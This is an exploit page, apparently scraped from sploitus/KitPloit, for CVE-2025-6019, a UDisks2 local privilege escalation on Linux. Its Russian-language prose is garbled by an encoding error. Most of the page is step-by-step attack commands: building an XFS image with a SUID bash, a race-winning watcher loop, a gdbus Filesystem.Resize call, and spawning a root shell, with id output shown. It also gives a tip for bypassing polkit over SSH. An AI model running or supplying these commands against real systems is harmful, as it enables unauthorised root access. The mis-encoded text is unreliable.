## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-AND-OSS-CVE-2025-6019-EXPLOIT
# CVE-2025-6019: ΠΠΊΡΠΏΠ»ΠΎΠΉΡ ΠΏΠΎΠ²ΡΡΠ΅Π½ΠΈΡ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΉ ΡΠ΅ΡΠ΅Π· ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ ΡΠ°Π·ΠΌΠ΅ΡΠ° ΡΠ°ΠΉΠ»ΠΎΠ²ΠΎΠΉ ΡΠΈΡΡΠ΅ΠΌΡ UDisks2
## ΠΠ΅ΡΠ°Π»ΠΈ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΠΈ
* **CVE ID** : CVE-2025-6019
* **ΠΠΎΠ·Π΄Π΅ΠΉΡΡΠ²ΠΈΠ΅** : ΠΠΎΠΊΠ°Π»ΡΠ½ΠΎΠ΅ ΠΏΠΎΠ²ΡΡΠ΅Π½ΠΈΠ΅ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΉ (LPE)
* **ΠΠ°ΡΡΠΎΠ½ΡΡΡΠ΅ ΡΠΈΡΡΠ΅ΠΌΡ** : Π‘ΠΈΡΡΠ΅ΠΌΡ Linux Ρ ΡΡΠ·Π²ΠΈΠΌΡΠΌΠΈ Π²Π΅ΡΡΠΈΡΠΌΠΈ `udisks2`
* **ΠΠ΅Ρ
Π°Π½ΠΈΠ·ΠΌ** : Π‘ΠΎΡΡΠΎΡΠ½ΠΈΠ΅ Π³ΠΎΠ½ΠΊΠΈ ΠΏΡΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΈ ΡΠ°Π·ΠΌΠ΅ΡΠ° ΡΠ°ΠΉΠ»ΠΎΠ²ΠΎΠΉ ΡΠΈΡΡΠ΅ΠΌΡ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ ΠΏΠΎΠ»ΡΡΠΈΡΡ Π΄ΠΎΡΡΡΠΏ ΠΊ SUID-Π±ΠΈΠ½Π°ΡΠ½ΡΠΌ ΡΠ°ΠΉΠ»Π°ΠΌ Π²ΠΎ Π²ΡΠ΅ΠΌΠ΅Π½Π½ΡΡ
ΠΊΠ°ΡΠ°Π»ΠΎΠ³Π°Ρ
Ρ Π³Π»ΠΎΠ±Π°Π»ΡΠ½ΠΎΠΉ Π·Π°ΠΏΠΈΡΡΡ
* **ΠΠ»ΡΡΠ΅Π²ΡΠ΅ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½ΡΡ** :
* Π‘Π»ΡΠΆΠ±Π° `udisks2` (ΠΈΠ½ΡΠ΅ΡΡΠ΅ΠΉΡ DBus)
* ΠΠ΅ΡΠΎΠ΄ `org.freedesktop.UDisks2.Filesystem.Resize`
* ΠΡΠ΅ΠΌΠ΅Π½Π½ΡΠ΅ ΡΠΎΡΠΊΠΈ ΠΌΠΎΠ½ΡΠΈΡΠΎΠ²Π°Π½ΠΈΡ Π² `/tmp/blockdev*`
## ΠΡΠΎΡΠ΅ΡΡ ΡΠΊΡΠΏΠ»ΡΠ°ΡΠ°ΡΠΈΠΈ
### 1\. ΠΠΎΠ΄Π³ΠΎΡΠΎΠ²ΠΊΠ° Π²ΡΠ΅Π΄ΠΎΠ½ΠΎΡΠ½ΠΎΠ³ΠΎ ΠΎΠ±ΡΠ°Π·Π° ΡΠ°ΠΉΠ»ΠΎΠ²ΠΎΠΉ ΡΠΈΡΡΠ΅ΠΌΡ (Π°ΡΠ°ΠΊΡΡΡΠΈΠΉ)
root@kitploit:~
dd if=/dev/zero of=./xfs.image bs=1M count=300
mkfs.xfs ./xfs.image
mkdir ./xfs.mount
mount -t xfs ./xfs.image ./xfs.mount
cp /bin/bash ./xfs.mount
chmod 04555 ./xfs.mount/bash # Π£ΡΡΠ°Π½ΠΎΠ²ΠΊΠ° SUID-Π±ΠΈΡΠ°
umount ./xfs.mount
### 2\. ΠΠ°ΠΏΡΡΠΊ ΡΠΊΡΠΏΠ»ΠΎΠΉΡΠ° (Π½Π° ΠΌΠ°ΡΠΈΠ½Π΅ ΠΆΠ΅ΡΡΠ²Ρ)
root@kitploit:~
# ΠΡΠΎΠ²Π΅ΡΠΊΠ° Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡΠ΅ΠΉ ΡΠΈΡΡΠ΅ΠΌΡ
gdbus call --system --dest org.freedesktop.login1 \
--object-path /org/freedesktop/login1 \
--method org.freedesktop.login1.Manager.CanReboot
# Π£ΡΡΡΠ°Π½Π΅Π½ΠΈΠ΅ ΠΏΠΎΠΌΠ΅Ρ
killall -KILL gvfs-udisks2-volume-monitor
# ΠΠ°ΡΡΡΠΎΠΉΠΊΠ° loop-ΡΡΡΡΠΎΠΉΡΡΠ²Π°
udisksctl loop-setup --file ./xfs.image --no-user-interaction
# Π€ΠΎΠ½ΠΎΠ²ΡΠΉ Π½Π°Π±Π»ΡΠ΄Π°ΡΠ΅Π»Ρ (Π²ΡΠΏΠΎΠ»Π½ΡΠ΅ΡΡΡ ΠΏΡΠΈ ΠΏΠΎΡΠ²Π»Π΅Π½ΠΈΠΈ SUID-Π±ΠΈΠ½Π°ΡΠ½ΠΎΠ³ΠΎ ΡΠ°ΠΉΠ»Π°)
while true; do
/tmp/blockdev*/bash -c 'sleep 10; ls -l /tmp/blockdev*/bash' && break
done 2>/dev/null &
# ΠΠ°ΠΏΡΡΠΊ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΠΈ ΡΠ΅ΡΠ΅Π· DBus
gdbus call --system --dest org.freedesktop.UDisks2 \
--object-path /org/freedesktop/UDisks2/block_devices/loop0 \
--method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'
### 3\. ΠΠΎΠ»ΡΡΠ΅Π½ΠΈΠ΅ root-Π΄ΠΎΡΡΡΠΏΠ°
root@kitploit:~
/tmp/blockdev*/bash -p # ΠΠ°ΠΏΡΡΠΊ ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΡΠΎΠ²Π°Π½Π½ΠΎΠΉ ΠΎΠ±ΠΎΠ»ΠΎΡΠΊΠΈ
id
# uid=65534(nobody) gid=65534(nobody) euid=0(root)
## ΠΠ°ΠΆΠ½ΠΎ!
ΠΠΊΡΠΏΠ»ΠΎΠΉΡ ΡΠ°Π±ΠΎΡΠ°Π΅Ρ ΡΠΎΠ»ΡΠΊΠΎ Π² ΡΠ΅ΡΡΠΈΠΈ logind!
* Π‘ΠΊΡΠΈΠΏΡ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±ΡΡΡ Π·Π°ΠΏΡΡΠ΅Π½ ΠΈΠ· ΡΠ΅ΡΡΠΈΠΈ logind, Ρ ΠΊΠΎΡΠΎΡΠΎΠΉ Active=yes ΠΈ Remote=no (Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ, tty1).
* ΠΡΠΈ Π·Π°ΠΏΡΡΠΊΠ΅ ΠΈΠ· ΡΠ΅ΡΡΠΈΠΈ SSH / pts/* / ΠΎΠ±ΡΠ°ΡΠ½ΠΎΠ³ΠΎ ΡΠ΅Π»Π»Π° Π²ΡΠ·ΠΎΠ² `udisksctl loop-setup --no-user-interaction` Π±Π»ΠΎΠΊΠΈΡΡΠ΅ΡΡΡ polkit, ΠΏΠΎΡΡΠΎΠΌΡ PoC Π·Π°Π²Π΅ΡΡΠ°Π΅ΡΡΡ Ρ ΠΎΡΠΈΠ±ΠΊΠΎΠΉ Β«Failed to create loop deviceΒ».
ΠΡΠΈΠΌΠ΅ΡΠ°Π½ΠΈΠ΅:
* ΠΡΠ»ΠΈ Π²Ρ Ρ
ΠΎΡΠΈΡΠ΅ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ ΡΠΊΡΠΏΠ»ΠΎΠΉΡ ΡΠ΅ΡΠ΅Π· SSH, Π½Π΅ΠΎΠ±Ρ
ΠΎΠ΄ΠΈΠΌΠΎ Π²ΡΠ΅ΠΌΠ΅Π½Π½ΠΎ ΡΡΡΠ°Π½ΠΎΠ²ΠΈΡΡ ΠΏΡΠ°Π²ΠΈΠ»ΠΎ polkit
## ΠΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ ΡΠΊΡΠΏΠ»ΠΎΠΉΡ
### Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ suid-ΠΎΠ±ΡΠ°Π·Π°
root@kitploit:~
$ sudo bash exploit.sh create
### ΠΠΊΡΠΏΠ»ΡΠ°ΡΠ°ΡΠΈΡ ΡΠΈΡΡΠ΅ΠΌΡ
root@kitploit:~
$ bash exploit.sh exploit
### ΠΠΈΠ΄Π΅ΠΎ PoC
